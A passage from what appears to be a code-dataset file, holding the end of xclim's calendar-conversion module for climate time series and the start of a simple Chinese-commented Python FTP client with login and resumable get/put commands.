Union[xr.DataArray, str],\n align_on: Optional[str] = None,\n missing: Optional[Any] = None,\n dim: str = \"time\",\n) -> Union[xr.DataArray, xr.Dataset]:\n \"\"\"Convert a DataArray/Dataset to another calendar using the specified method.\n\n Only converts the individual timestamps, does not modify any data except in dropping invalid/surplus dates or inserting missing dates.\n\n If the source and target calendars are either no_leap, all_leap or a standard type, only the type of the time array is modified.\n When converting to a leap year from a non-leap year, the 29th of February is removed from the array.\n In the other direction and if `target` is a string, the 29th of February will be missing in the output,\n unless `missing` is specified, in which case that value is inserted.\n\n For conversions involving `360_day` calendars, see Notes.\n\n This method is safe to use with sub-daily data as it doesn't touch the time part of the timestamps.\n\n Parameters\n ----------\n source : xr.DataArray\n Input array/dataset with a time coordinate of a valid dtype (datetime64 or a cftime.datetime).\n target : Union[xr.DataArray, str]\n Either a calendar name or the 1D time coordinate to convert to.\n If an array is provided, the output will be reindexed using it and in that case, days in `target`\n that are missing in the converted `source` are filled by `missing` (which defaults to NaN).\n align_on : {None, 'date', 'year'}\n Must be specified when either source or target is a `360_day` calendar, ignored otherwise. See Notes.\n missing : Optional[any]\n A value to use for filling in dates in the target that were missing in the source.\n If `target` is a string, default (None) is not to fill values. If it is an array, default is to fill with NaN.\n dim : str\n Name of the time coordinate.\n\n Returns\n -------\n Union[xr.DataArray, xr.Dataset]\n Copy of source with the time coordinate converted to the target calendar.\n If `target` is given as an array, the output is reindexed to it, with fill value `missing`.\n If `target` was a string and `missing` was None (default), invalid dates in the new calendar are dropped, but missing dates are not inserted.\n If `target` was a string and `missing` was given, then start, end and frequency of the new time axis are inferred and\n the output is reindexed to that a new array.\n\n Notes\n -----\n If one of the source or target calendars is `360_day`, `align_on` must be specified and two options are offered.\n\n \"year\"\n The dates are translated according to their rank in the year (dayofyear), ignoring their original month and day information,\n meaning that the missing/surplus days are added/removed at regular intervals.\n\n From a `360_day` to a standard calendar, the output will be missing the following dates (day of year in parenthesis):\n To a leap year:\n January 31st (31), March 31st (91), June 1st (153), July 31st (213), September 31st (275) and November 30th (335).\n To a non-leap year:\n February 6th (36), April 19th (109), July 2nd (183), September 12th (255), November 25th (329).\n\n From standard calendar to a '360_day', the following dates in the source array will be dropped:\n From a leap year:\n January 31st (31), April 1st (92), June 1st (153), August 1st (214), September 31st (275), December 1st (336)\n From a non-leap year:\n February 6th (37), April 20th (110), July 2nd (183), September 13th (256), November 25th (329)\n\n This option is best used on daily and subdaily data.\n\n \"date\"\n The month/day information is conserved and invalid dates are dropped from the output. This means that when converting from\n a `360_day` to a standard calendar, all 31st (Jan, March, May, July, August, October and December) will be missing as there is no equivalent\n dates in the `360_day` and the 29th (on non-leap years) and 30th of February will be dropped as there are no equivalent dates in\n a standard calendar.\n\n This option is best used with data on a frequency coarser than daily.\n \"\"\"\n cal_src = get_calendar(source, dim=dim)\n\n if isinstance(target, str):\n cal_tgt = target\n else:\n cal_tgt = get_calendar(target, dim=dim)\n\n if cal_src == cal_tgt:\n return source\n\n if (cal_src == \"360_day\" or cal_tgt == \"360_day\") and align_on is None:\n raise ValueError(\n \"Argument `align_on` must be specified with either 'date' or \"\n \"'year' when converting to or from a '360_day' calendar.\"\n )\n if cal_src != \"360_day\" and cal_tgt != \"360_day\":\n align_on = None\n\n out = source.copy()\n # TODO Maybe the 5-6 days to remove could be given by the user?\n if align_on == \"year\":\n\n def _yearly_interp_doy(time):\n # Returns the nearest day in the target calendar of the corresponding \"decimal year\" in the source calendar\n yr = int(time.dt.year[0])\n return np.round(\n days_in_year(yr, cal_tgt)\n * time.dt.dayofyear\n / days_in_year(yr, cal_src)\n ).astype(int)\n\n new_doy = source.time.groupby(f\"{dim}.year\").map(_yearly_interp_doy)\n\n # Convert the source datetimes, but override the doy with our new doys\n out[dim] = xr.DataArray(\n [\n _convert_datetime(datetime, new_doy=doy, calendar=cal_tgt)\n for datetime, doy in zip(source[dim].indexes[dim], new_doy)\n ],\n dims=(dim,),\n name=dim,\n )\n # Remove duplicate timestamps, happens when reducing the number of days\n out = out.isel({dim: np.unique(out[dim], return_index=True)[1]})\n else:\n time_idx = source[dim].indexes[dim]\n out[dim] = xr.DataArray(\n [_convert_datetime(time, calendar=cal_tgt) for time in time_idx],\n dims=(dim,),\n name=dim,\n )\n # Remove NaN that where put on invalid dates in target calendar\n out = out.where(out[dim].notnull(), drop=True)\n\n if isinstance(target, str) and missing is not None:\n target = date_range_like(source[dim], cal_tgt)\n\n if isinstance(target, xr.DataArray):\n out = out.reindex({dim: target}, fill_value=missing or np.nan)\n\n # Copy attrs but change remove `calendar` is still present.\n out[dim].attrs.update(source[dim].attrs)\n out[dim].attrs.pop(\"calendar\", None)\n return out\n\n\ndef interp_calendar(\n source: Union[xr.DataArray, xr.Dataset],\n target: xr.DataArray,\n dim: str = \"time\",\n) -> Union[xr.DataArray, xr.Dataset]:\n \"\"\"Interpolates a DataArray/Dataset to another calendar based on decimal year measure.\n\n Each timestamp in source and target are first converted to their decimal year equivalent\n then source is interpolated on the target coordinate. The decimal year is the number of\n years since 0001-01-01 AD.\n Ex: '2000-03-01 12:00' is 2000.1653 in a standard calendar or 2000.16301 in a 'noleap' calendar.\n\n This method should be used with daily data or coarser. Sub-daily result will have a modified day cycle.\n\n Parameters\n ----------\n source: Union[xr.DataArray, xr.Dataset]\n The source data to interpolate, must have a time coordinate of a valid dtype (np.datetime64 or cftime objects)\n target: xr.DataArray\n The target time coordinate of a valid dtype (np.datetime64 or cftime objects)\n dim : str\n The time coordinate name.\n\n Return\n ------\n Union[xr.DataArray, xr.Dataset]\n The source interpolated on the decimal years of target,\n \"\"\"\n cal_src = get_calendar(source, dim=dim)\n cal_tgt = get_calendar(target, dim=dim)\n\n out = source.copy()\n out[dim] = datetime_to_decimal_year(source[dim], calendar=cal_src).drop_vars(dim)\n target_idx = datetime_to_decimal_year(target, calendar=cal_tgt)\n out = out.interp(time=target_idx)\n out[dim] = target\n return out\n\n\ndef date_range(*args, calendar=\"default\", **kwargs):\n \"\"\"Wrap pd.date_range (if calendar == 'default') or xr.cftime_range (otherwise).\"\"\"\n if calendar == \"default\":\n return pd.date_range(*args, **kwargs)\n return xr.cftime_range(*args, calendar=calendar, **kwargs)\n\n\ndef date_range_like(source, calendar):\n \"\"\"Generate a datetime array with the same frequency, start and end as another one, but in a different calendar.\n\n Parameters\n ----------\n source : xr.DataArray\n 1D datetime coordinate DataArray\n calendar : str\n New calendar name.\n\n Raises\n ------\n ValueError\n If the source's frequency was not found.\n\n Returns\n -------\n xr.DataArray\n 1D datetime coordinate with the same start, end and frequency as the source, but in the new calendar.\n The start date is assumed to exist in the target calendar.\n If the end date doesn't exist, the code tries 1 and 2 calendar days before.\n Exception when the source is in 360_day and the end of the range is the 30th of a 31-days month,\n then the 31st is appended to the range.\n \"\"\"\n freq = xr.infer_freq(source)\n if freq is None:\n raise ValueError(\n \"`date_range_like` was unable to generate a range as the source frequency was not inferrable.\"\n )\n\n src_cal = get_calendar(source)\n if src_cal == calendar:\n return source\n\n index = source.indexes[source.dims[0]]\n end_src = index[-1]\n end = _convert_datetime(end_src, calendar=calendar)\n if end is np.nan: # Day is invalid, happens at the end of months.\n end = _convert_datetime(end_src.replace(day=end_src.day - 1), calendar=calendar)\n if end is np.nan: # Still invalid : 360_day to non-leap february.\n end = _convert_datetime(\n end_src.replace(day=end_src.day - 2), calendar=calendar\n )\n if src_cal == \"360_day\" and end_src.day == 30 and end.daysinmonth == 31:\n # For the specific case of daily data from 360_day source, the last day is expected to be \"missing\"\n end = end.replace(day=31)\n\n return xr.DataArray(\n date_range(\n _convert_datetime(index[0], calendar=calendar),\n end,\n freq=freq,\n calendar=calendar,\n ),\n dims=source.dims,\n name=source.dims[0],\n )\n\n\ndef _convert_datetime(\n datetime: Union[pydt.datetime, cftime.datetime],\n new_doy: Optional[Union[float, int]] = None,\n calendar: str = \"default\",\n):\n \"\"\"Convert a datetime object to another calendar.\n\n Nanosecond information are lost as cftime.datetime doesn't support them.\n\n Parameters\n ----------\n datetime: Union[datetime.datetime, cftime.datetime]\n A datetime object to convert.\n new_doy: Optional[Union[float, int]]\n Allows for redefining the day of year (thus ignoring month and day information from the source datetime).\n calendar: str\n The target calendar\n\n Returns\n -------\n Union[cftime.datetime, pydt.datetime, np.nan]\n A datetime object of the target calendar with the same year, month, day and time as the source (month and day according to `new_doy` if given).\n If the month and day doesn't exist in the target calendar, returns np.nan. (Ex. 02-29 in \"noleap\")\n \"\"\"\n if new_doy is not None:\n new_date = cftime.num2date(\n new_doy - 1,\n f\"days since {datetime.year}-01-01\",\n calendar=calendar if calendar != \"default\" else \"standard\",\n )\n else:\n new_date = datetime\n try:\n return datetime_classes[calendar](\n datetime.year,\n new_date.month,\n new_date.day,\n datetime.hour,\n datetime.minute,\n datetime.second,\n datetime.microsecond,\n )\n except ValueError:\n return np.nan\n\n\ndef ensure_cftime_array(time: Sequence):\n \"\"\"Convert an input 1D array to an array of cftime objects. Python's datetime are converted to cftime.DatetimeGregorian.\n\n Raises ValueError when unable to cast the input.\n \"\"\"\n if isinstance(time, xr.DataArray):\n time = time.indexes[\"time\"]\n elif isinstance(time, np.ndarray):\n time = pd.DatetimeIndex(time)\n if isinstance(time[0], cftime.datetime):\n return time\n if isinstance(time[0], pydt.datetime):\n return np.array(\n [cftime.DatetimeGregorian(*ele.timetuple()[:6]) for ele in time]\n )\n raise ValueError(\"Unable to cast array to cftime dtype\")\n\n\ndef datetime_to_decimal_year(times: xr.DataArray, calendar: str = \"\") -> xr.DataArray:\n \"\"\"Convert a datetime xr.DataArray to decimal years according to its calendar or the given one.\n\n Decimal years are the number of years since 0001-01-01 00:00:00 AD.\n Ex: '2000-03-01 12:00' is 2000.1653 in a standard calendar, 2000.16301 in a \"noleap\" or 2000.16806 in a \"360_day\".\n \"\"\"\n calendar = calendar or get_calendar(times)\n if calendar == \"default\":\n calendar = \"standard\"\n\n def _make_index(time) -> xr.DataArray:\n year = int(time.dt.year[0])\n doys = cftime.date2num(\n ensure_cftime_array(time), f\"days since {year:04d}-01-01\", calendar=calendar\n )\n return xr.DataArray(\n year + doys / days_in_year(year, calendar),\n dims=time.dims,\n coords=time.coords,\n name=\"time\",\n )\n\n return times.groupby(\"time.year\").map(_make_index)\n\n\ndef days_in_year(year: int, calendar: str = \"default\") -> int:\n \"\"\"Return the number of days in the input year according to the input calendar.\"\"\"\n return (\n (datetime_classes[calendar](year + 1, 1, 1) - pydt.timedelta(days=1))\n .timetuple()\n .tm_yday\n )\n\n\ndef percentile_doy(\n arr: xr.DataArray,\n window: int = 5,\n per: Union[float, Sequence[float]] = 10,\n) -> xr.DataArray:\n \"\"\"Percentile value for each day of the year.\n\n Return the climatological percentile over a moving window around each day of the year.\n All NaNs are skipped.\n\n Parameters\n ----------\n arr : xr.DataArray\n Input data, a daily frequency (or coarser) is required.\n window : int\n Number of time-steps around each day of the year to include in the calculation.\n per : float or sequence of floats\n Percentile(s) between [0, 100]\n\n Returns\n -------\n xr.DataArray\n The percentiles indexed by the day of the year.\n For calendars with 366 days, percentiles of doys 1-365 are interpolated to the 1-366 range.\n \"\"\"\n # Ensure arr sampling frequency is daily or coarser\n # but cowardly escape the non-inferrable case.\n if compare_offsets(xr.infer_freq(arr.time) or \"D\", \"<\", \"D\"):\n raise ValueError(\"input data should have daily or coarser frequency\")\n\n rr = arr.rolling(min_periods=1, center=True, time=window).construct(\"window\")\n\n ind = pd.MultiIndex.from_arrays(\n (rr.time.dt.year.values, rr.time.dt.dayofyear.values),\n names=(\"year\", \"dayofyear\"),\n )\n rrr = rr.assign_coords(time=ind).unstack(\"time\").stack(stack_dim=(\"year\", \"window\"))\n\n if rrr.chunks is not None and len(rrr.chunks[rrr.get_axis_num(\"stack_dim\")]) > 1:\n rrr = rrr.chunk(dict(stack_dim=-1))\n\n if np.isscalar(per):\n per = [per]\n\n p = xr.apply_ufunc(\n _calc_perc,\n rrr,\n input_core_dims=[[\"stack_dim\"]],\n output_core_dims=[[\"percentiles\"]],\n keep_attrs=True,\n kwargs=dict(p=per),\n dask=\"parallelized\",\n output_dtypes=[rrr.dtype],\n output_sizes={\"percentiles\": len(per)},\n )\n p = p.assign_coords(percentiles=xr.DataArray(per, dims=(\"percentiles\",)))\n\n # The percentile for the 366th day has a sample size of 1/4 of the other days.\n # To have the same sample size, we interpolate the percentile from 1-365 doy range to 1-366\n if p.dayofyear.max() == 366:\n p = adjust_doy_calendar(p.sel(dayofyear=(p.dayofyear < 366)), arr)\n\n p.attrs.update(arr.attrs.copy())\n return p\n\n\ndef compare_offsets(freqA: str, op: str, freqB: str):\n \"\"\"Compare offsets string based on their approximate length, according to a given operator.\n\n Offset are compared based on their length approximated for a period starting\n after 1970-01-01 00:00:00. If the offsets are from the same category (same first letter),\n only the multiplicator prefix is compared (QS-DEC == QS-JAN, MS < 2MS).\n \"Business\" offsets are not implemented.\n\n Parameters\n ----------\n fA: str\n RHS Date offset string ('YS', '1D', 'QS-DEC', ...)\n op : {'<', '<=', '==', '>', '>=', '!='}\n Operator to use.\n fB: str\n LHS Date offset string ('YS', '1D', 'QS-DEC', ...)\n\n Returns\n -------\n bool\n freqA op freqB\n \"\"\"\n from xclim.indices.generic import get_op\n\n # Get multiplicator and base frequency\n tA, bA, _ = parse_offset(freqA)\n tB, bB, _ = parse_offset(freqB)\n\n if bA == bB:\n # Same base freq, compare mulitplicator only.\n tA = int(tA or \"1\")\n tB = int(tB or \"1\")\n else:\n # Different base freq, compare length of first period after beginning of time.\n t = pd.date_range(\"1970-01-01T00:00:00.000\", periods=2, freq=freqA)\n tA = (t[1] - t[0]).total_seconds()\n t = pd.date_range(\"1970-01-01T00:00:00.000\", periods=2, freq=freqB)\n tB = (t[1] - t[0]).total_seconds()\n\n return get_op(op)(tA, tB)\n\n\ndef parse_offset(freq: str) -> Tuple[str, str, Optional[str]]:\n \"\"\"Parse an offset string.\n\n Returns: multiplicator, offset base, anchor (or None)\n \"\"\"\n patt = r\"(\\d*)(\\w)S?(?:-(\\w{2,3}))?\"\n return re.search(patt, freq.replace(\"Y\", \"A\")).groups()\n\n\ndef _interpolate_doy_calendar(source: xr.DataArray, doy_max: int) -> xr.DataArray:\n \"\"\"Interpolate from one set of dayofyear range to another.\n\n Interpolate an array defined over a `dayofyear` range (say 1 to 360) to another `dayofyear` range (say 1\n to 365).\n\n Parameters\n ----------\n source : xr.DataArray\n Array with `dayofyear` coordinates.\n doy_max : int\n Largest day of the year allowed by calendar.\n\n Returns\n -------\n xr.DataArray\n Interpolated source array over coordinates spanning the target `dayofyear` range.\n\n \"\"\"\n if \"dayofyear\" not in source.coords.keys():\n raise AttributeError(\"Source should have `dayofyear` coordinates.\")\n\n # Interpolation of source to target dayofyear range\n doy_max_source = int(source.dayofyear.max())\n\n # Interpolate to fill na values\n tmp = source.interpolate_na(dim=\"dayofyear\")\n\n # Interpolate to target dayofyear range\n tmp.coords[\"dayofyear\"] = np.linspace(start=1, stop=doy_max, num=doy_max_source)\n\n return tmp.interp(dayofyear=range(1, doy_max + 1))\n\n\ndef adjust_doy_calendar(\n source: xr.DataArray, target: Union[xr.DataArray, xr.Dataset]\n) -> xr.DataArray:\n \"\"\"Interpolate from one set of dayofyear range to another calendar.\n\n Interpolate an array defined over a `dayofyear` range (say 1 to 360) to another `dayofyear` range (say 1\n to 365).\n\n Parameters\n ----------\n source : xr.DataArray\n Array with `dayofyear` coordinate.\n target : xr.DataArray or xr.Dataset\n Array with `time` coordinate.\n\n Returns\n -------\n xr.DataArray\n Interpolated source array over coordinates spanning the target `dayofyear` range.\n\n \"\"\"\n doy_max_source = source.dayofyear.max()\n\n doy_max = max_doy[get_calendar(target)]\n if doy_max_source == doy_max:\n return source\n\n return _interpolate_doy_calendar(source, doy_max)\n\n\ndef resample_doy(\n doy: xr.DataArray, arr: Union[xr.DataArray, xr.Dataset]\n) -> xr.DataArray:\n \"\"\"Create a temporal DataArray where each day takes the value defined by the day-of-year.\n\n Parameters\n ----------\n doy : xr.DataArray\n Array with `dayofyear` coordinate.\n arr : xr.DataArray or xr.Dataset\n Array with `time` coordinate.\n\n Returns\n -------\n xr.DataArray\n An array with the same dimensions as `doy`, except for `dayofyear`, which is\n replaced by the `time` dimension of `arr`. Values are filled according to the\n day of year value in `doy`.\n \"\"\"\n if \"dayofyear\" not in doy.coords:\n raise AttributeError(\"Source should have `dayofyear` coordinates.\")\n\n # Adjust calendar\n adoy = adjust_doy_calendar(doy, arr)\n\n out = adoy.rename(dayofyear=\"time\").reindex(time=arr.time.dt.dayofyear)\n out[\"time\"] = arr.time\n\n return out\n\n\ndef cftime_start_time(date, freq):\n \"\"\"Get the cftime.datetime for the start of a period.\n\n As we are not supplying actual period objects, assumptions regarding the period are made based on\n the given freq. IMPORTANT NOTE: this function cannot be used on greater-than-day freq that start at the\n beginning of a month, e.g. 'MS', 'QS', 'AS' -- this mirrors pandas behavior.\n\n Parameters\n ----------\n date : cftime.datetime\n The original datetime object as a proxy representation for period.\n freq : str\n String specifying the frequency/offset such as 'MS', '2D', 'H', or '3T'\n\n Returns\n -------\n cftime.datetime\n The starting datetime of the period inferred from date and freq.\n \"\"\"\n freq = to_offset(freq)\n if isinstance(freq, (YearBegin, QuarterBegin, MonthBegin)):\n raise ValueError(\"Invalid frequency: \" + freq.rule_code())\n if isinstance(freq, YearEnd):\n month = freq.month\n return date - YearEnd(n=1, month=month) + pydt.timedelta(days=1)\n if isinstance(freq, QuarterEnd):\n month = freq.month\n return date - QuarterEnd(n=1, month=month) + pydt.timedelta(days=1)\n if isinstance(freq, MonthEnd):\n return date - MonthEnd(n=1) + pydt.timedelta(days=1)\n return date\n\n\ndef cftime_end_time(date, freq):\n \"\"\"Get the cftime.datetime for the end of a period.\n\n As we are not supplying actual period objects, assumptions regarding the period are made based on\n the given freq. IMPORTANT NOTE: this function cannot be used on greater-than-day freq that start at the\n beginning of a month, e.g. 'MS', 'QS', 'AS' -- this mirrors pandas behavior.\n\n Parameters\n ----------\n date : cftime.datetime\n The original datetime object as a proxy representation for period.\n freq : str\n String specifying the frequency/offset such as 'MS', '2D', 'H', or '3T'\n\n Returns\n -------\n cftime.datetime\n The ending datetime of the period inferred from date and freq.\n \"\"\"\n freq = to_offset(freq)\n if isinstance(freq, (YearBegin, QuarterBegin, MonthBegin)):\n raise ValueError(\"Invalid frequency: \" + freq.rule_code())\n if isinstance(freq, YearEnd):\n mod_freq = YearBegin(n=freq.n, month=freq.month)\n elif isinstance(freq, QuarterEnd):\n mod_freq = QuarterBegin(n=freq.n, month=freq.month)\n elif isinstance(freq, MonthEnd):\n mod_freq = MonthBegin(n=freq.n)\n else:\n mod_freq = freq\n return cftime_start_time(date + mod_freq, freq) - pydt.timedelta(microseconds=1)\n\n\ndef cfindex_start_time(cfindex, freq):\n \"\"\"\n Get the start of a period for a pseudo-period index.\n\n As we are using datetime indices to stand in for period indices, assumptions regarding the\n period are made based on the given freq. IMPORTANT NOTE: this function cannot be used on greater-than-day\n freq that start at the beginning of a month, e.g. 'MS', 'QS', 'AS' -- this mirrors pandas behavior.\n\n Parameters\n ----------\n cfindex : CFTimeIndex\n CFTimeIndex as a proxy representation for CFPeriodIndex\n freq : str\n String specifying the frequency/offset such as 'MS', '2D', 'H', or '3T'\n\n Returns\n -------\n CFTimeIndex\n The starting datetimes of periods inferred from dates and freq\n \"\"\"\n return CFTimeIndex([cftime_start_time(date, freq) for date in cfindex])\n\n\ndef cfindex_end_time(cfindex, freq):\n \"\"\"\n Get the end of a period for a pseudo-period index.\n\n As we are using datetime indices to stand in for period indices, assumptions regarding the\n period are made based on the given freq. IMPORTANT NOTE: this function cannot be used on greater-than-day\n freq that start at the beginning of a month, e.g. 'MS', 'QS', 'AS' -- this mirrors pandas behavior.\n\n Parameters\n ----------\n cfindex : CFTimeIndex\n CFTimeIndex as a proxy representation for CFPeriodIndex\n freq : str\n String specifying the frequency/offset such as 'MS', '2D', 'H', or '3T'\n\n Returns\n -------\n CFTimeIndex\n The ending datetimes of periods inferred from dates and freq\n \"\"\"\n return CFTimeIndex([cftime_end_time(date, freq) for date in cfindex])\n\n\ndef time_bnds(group, freq):\n \"\"\"\n Find the time bounds for a pseudo-period index.\n\n As we are using datetime indices to stand in for period indices, assumptions regarding the period\n are made based on the given freq. IMPORTANT NOTE: this function cannot be used on greater-than-day freq\n that start at the beginning of a month, e.g. 'MS', 'QS', 'AS' -- this mirrors pandas behavior.\n\n Parameters\n ----------\n group : CFTimeIndex or DataArrayResample\n Object which contains CFTimeIndex as a proxy representation for\n CFPeriodIndex\n freq : str\n String specifying the frequency/offset such as 'MS', '2D', or '3T'\n\n Returns\n -------\n start_time : cftime.datetime\n The start time of the period inferred from datetime and freq.\n\n Examples\n --------\n >>> import xarray as xr\n >>> from xclim.core.calendar import time_bnds\n >>> index = xr.cftime_range(start='2000-01-01', periods=3, freq='2QS', calendar='360_day')\n >>> time_bnds(index, '2Q')\n ((cftime.Datetime360Day(2000, 1, 1, 0, 0, 0, 0), cftime.Datetime360Day(2000, 3, 30, 23, 59, 59, 999999)),\n (cftime.Datetime360Day(2000, 7, 1, 0, 0, 0, 0), cftime.Datetime360Day(2000, 9, 30, 23, 59, 59, 999999)),\n (cftime.Datetime360Day(2001, 1, 1, 0, 0, 0, 0), cftime.Datetime360Day(2001, 3, 30, 23, 59, 59, 999999)))\n \"\"\"\n if isinstance(group, CFTimeIndex):\n cfindex = group\n elif isinstance(group, DataArrayResample):\n if isinstance(group._full_index, CFTimeIndex):\n cfindex = group._full_index\n else:\n raise TypeError(\n \"Index must be a CFTimeIndex, but got an instance of {}\".format(\n type(group).__name__\n )\n )\n else:\n raise TypeError(\n \"Index must be a CFTimeIndex, but got an instance of {}\".format(\n type(group).__name__\n )\n )\n\n return tuple(\n zip(cfindex_start_time(cfindex, freq), cfindex_end_time(cfindex, freq))\n )\n","sub_path":"xclim/core/calendar.py","file_name":"calendar.py","file_ext":"py","file_size_in_byte":29366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"119797823","text":"# -*- coding: utf-8 -*-\n# @Author : Evescn\n# @time : 2020/11/25 11:10\n# @File : ftp_client.py\n# @Software : PyCharm\n\nimport json\nimport os\nimport socket\nimport sys\nimport hashlib\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(BASE_DIR)\n\nimport settings\n\n\nclass FTP_Client():\n\n def __init__(self):\n \"\"\"\n 初始化FTP_Client类\n self.client:初始化套接字\n \"\"\"\n self.client = socket.socket()\n\n def connect(self, ip, port):\n \"\"\"\n 设置sockct连接\n :param ip: 连接的IP\n :param port: 连接的端口\n :return:\n \"\"\"\n self.client.connect((ip, port))\n\n def msg(self):\n \"\"\"\n 提示信息\n :return:\n \"\"\"\n msg_info = '''\n ls\n pwd\n cd [ dirname | ../ ]\n get filename\n put filename\n '''\n\n print(msg_info)\n\n def login(self):\n \"\"\"\n 登陆FTP服务端,输入用户和密码(密码加密传输),验证成功后登陆\n :return: {\n 200:登陆成功\n 300:账号或密码不对\n 400:账户不存在\n 500: 已登陆,但登陆状态异常\n }\n \"\"\"\n login_msg = {\n '200': '登陆系统成功',\n '300': '账号或密码不对,请检查后重新输入',\n '400': '用户账号不存在,请联系管理员创建',\n '500': '客户已登陆,但登陆状态异常,请重新登陆',\n }\n\n while True:\n print('\\033[1;31;1m 欢迎来到 FTP 系统 \\033[0m')\n user_name = input('username: ').strip()\n user_password = input('password: ').strip()\n\n m = hashlib.md5()\n m.update(user_password.encode('utf-8'))\n user_password = m.hexdigest()\n\n user_dic = {\n 'user_name': user_name,\n 'user_password': user_password\n }\n\n self.client.send(json.dumps(user_dic).encode('utf-8'))\n login_result = self.client.recv(1024).decode()\n print('\\033[1;31;1m 登陆信息: %s \\033[0m' % login_msg[login_result])\n\n if login_result == '200':\n break\n\n return None\n\n def interactive(self):\n \"\"\"\n 交互函数,接受客户端命令,并调用对应函数,实现功能\n :return:\n \"\"\"\n self.login()\n\n while True:\n print()\n cmd = input(\">> \").strip()\n\n if len(cmd) == 0:\n continue\n\n cmd_str = cmd.split()[0]\n\n if hasattr(self, \"cmd_%s\" % cmd_str):\n func = getattr(self, \"cmd_%s\" % cmd_str)\n func(cmd)\n\n else:\n self.msg()\n\n def cmd_bash_common(self, *args):\n \"\"\"\n 基础命令功能封装函数,ls,dir,pwd调用\n :param args: [ls|dir|pwd]\n :return:\n \"\"\"\n cmd_split = args[0][0].split()\n if len(cmd_split) == 1:\n cmd_action = cmd_split[0]\n\n msg_dic = {\n \"action\": cmd_action,\n }\n\n self.client.send(json.dumps(msg_dic).encode('utf-8'))\n cmd_total_size = self.client.recv(1024).decode()\n print('\\033[1;31;1m cmd_total_size: % \\033[0m' % cmd_total_size)\n self.client.send('已准备OK,可以接受'.encode('utf-8'))\n\n received_size = 0\n received_data = b''\n while received_size < int(cmd_total_size):\n data = self.client.recv(1024)\n received_size += len(data)\n received_data += data\n else:\n print(received_data.decode())\n\n else:\n print('\\033[1;31;1m 命令格式错误! len: %s \\033[0m' % len(cmd_split))\n print(cmd_split)\n\n return None\n\n def cmd_ls(self, *args):\n \"\"\"\n 显示服务端当前目录文件信息\n :param args: ls\n :return:\n \"\"\"\n self.cmd_bash_common(args)\n\n def cmd_dir(self, *args):\n \"\"\"\n 显示服务端当前目录文件信息(windows测试使用)\n :param args: dir\n :return:\n \"\"\"\n self.cmd_bash_common(args)\n\n def cmd_pwd(self, *args):\n \"\"\"\n 显示服务器当前路径信息\n :param args: pwd\n :return:\n \"\"\"\n self.cmd_bash_common(args)\n\n def cmd_cd(self, *args):\n \"\"\"\n 切换服务端,当前所在文件\n :param args: cd dir 进入文件命令\n :return:\n \"\"\"\n cmd_split = args[0].split()\n if len(cmd_split) == 2:\n des_dir = cmd_split[1]\n msg_dic = {\n \"action\": \"cd\",\n \"des_dir\": des_dir\n }\n\n self.client.send(json.dumps(msg_dic).encode('utf-8'))\n return_msg = self.client.recv(1024).decode()\n\n print(return_msg)\n\n else:\n print('\\033[1;31;1m 命令格式错误 \\033[0m')\n\n def progress(self, percent):\n \"\"\"\n 打印 上传/下载 进度条函数\n :param percent:\n :return:\n \"\"\"\n if percent > 1:\n percent = 1\n res = int(50 * percent) * '#'\n print('\\033[1;31;1m \\r[%-50s] %d%% \\033[0m' % (res, int(100 * percent)), end='')\n\n def cmd_get(self, *args):\n \"\"\"\n 下载文件,支持断点续传\n :param args: get filename 下载文件的命令\n :return: {\n 100: 服务端文件不存在\n 200: 客户端文件不存在,可以直接下载,\n 300:客户端存在文件,但是文件不完整,需要断点续传\n 400:客户端存在文件,且文件完整,不需要下载了\n 500: 客户端文件比服务器文件大,客户端文件错误,需要删除文件后,重新下载\n }\n \"\"\"\n cmd_split = args[0].split()\n\n if len(cmd_split) == 2:\n src_filename = cmd_split[1]\n msg_dic = {\n \"action\": \"get\",\n \"src_filename\": src_filename\n }\n\n self.client.send(json.dumps(msg_dic).encode('utf-8'))\n file_total_size = int(self.client.recv(1024).decode())\n print('file_total_size', file_total_size)\n if file_total_size == -1:\n self.client.send(b'100')\n print('\\033[1;31;1m 服务端文件不存在,无法下载\\033[0m')\n else:\n des_filename = '%s/Data/%s' % (BASE_DIR, src_filename)\n if not os.path.isfile(des_filename):\n self.client.send(b'200')\n received_size = 0\n self.cmd_get_get_data(des_filename, received_size, file_total_size)\n\n else:\n received_size = os.stat(des_filename).st_size\n if received_size < file_total_size:\n \"\"\" 目标文件小于下载文件,进行断点续传 \"\"\"\n self.client.send(b'300')\n print('\\033[1;31;1m 文件已存在,但是不完整,需要断点续传\\033[0m')\n print('received_size:', received_size)\n self.cmd_get_get_data(des_filename, received_size, file_total_size)\n\n elif received_size == file_total_size:\n \"\"\" 目标文件等于下载文件 \"\"\"\n self.client.send(b'400')\n print('\\033[1;31;1m 文件已存在,无需下载\\033[0m')\n else:\n self.client.send(b'500')\n print('\\033[1;31;1m 客户端文件错误,请重新下载\\033[0m')\n\n return None\n\n def cmd_get_get_data(self, des_filename, received_size, file_total_size):\n with open(des_filename, mode='ab') as f:\n while received_size < file_total_size:\n client_data = {\n 'file_total_size': file_total_size,\n 'client_data_size': received_size\n }\n self.client.send(json.dumps(client_data).encode('utf-8'))\n if file_total_size - received_size >= 1024:\n size = 1024\n else:\n size = file_total_size - received_size\n\n data = self.client.recv(size)\n received_size += len(data)\n f.write(data)\n f.flush()\n percent = received_size / file_total_size\n self.progress(percent)\n\n else:\n f.flush()\n client_data = {\n 'file_total_size': file_total_size,\n 'client_data_size': received_size\n }\n self.client.send(json.dumps(client_data).encode('utf-8'))\n print()\n print('\\033[1;31;1m 文件下载完成,文件路径: %s\\033[0m' % des_filename)\n\n return None\n\n def cmd_put(self, *args):\n \"\"\"\n 上传文件,支持断点续传\n :param args: put filename 上传文件的命���\n :return: {\n 100:客户端文件不存在,命令错误\n 200: 服务器端文件不存在,需要上传,\n 300:服务器端存在文件,但是文件不完整,需要断点续传\n 400:服务器端存在文件,且文件完整,不需要上传了\n 500: 服务器端文件比服务器文件大,客户端文件错误,需要服务器端删除文件后,重新上传\n }\n \"\"\"\n\n cmd_split = args[0].split()\n\n if len(cmd_split) == 2:\n src_filename = cmd_split[1]\n filename = '%s/Data/%s' % (BASE_DIR, src_filename)\n if os.path.isfile(filename):\n file_total_size = os.stat(filename).st_size\n msg_dic = {\n \"action\": \"put\",\n \"src_filename\": src_filename,\n \"size\": file_total_size\n }\n\n self.client.send(json.dumps(msg_dic).encode('utf-8'))\n server_response = int(self.client.recv(1024).decode())\n print('server_response:', server_response)\n\n if server_response == 200:\n self.cmd_put_put_data(file_total_size, filename)\n\n elif server_response == 300: # 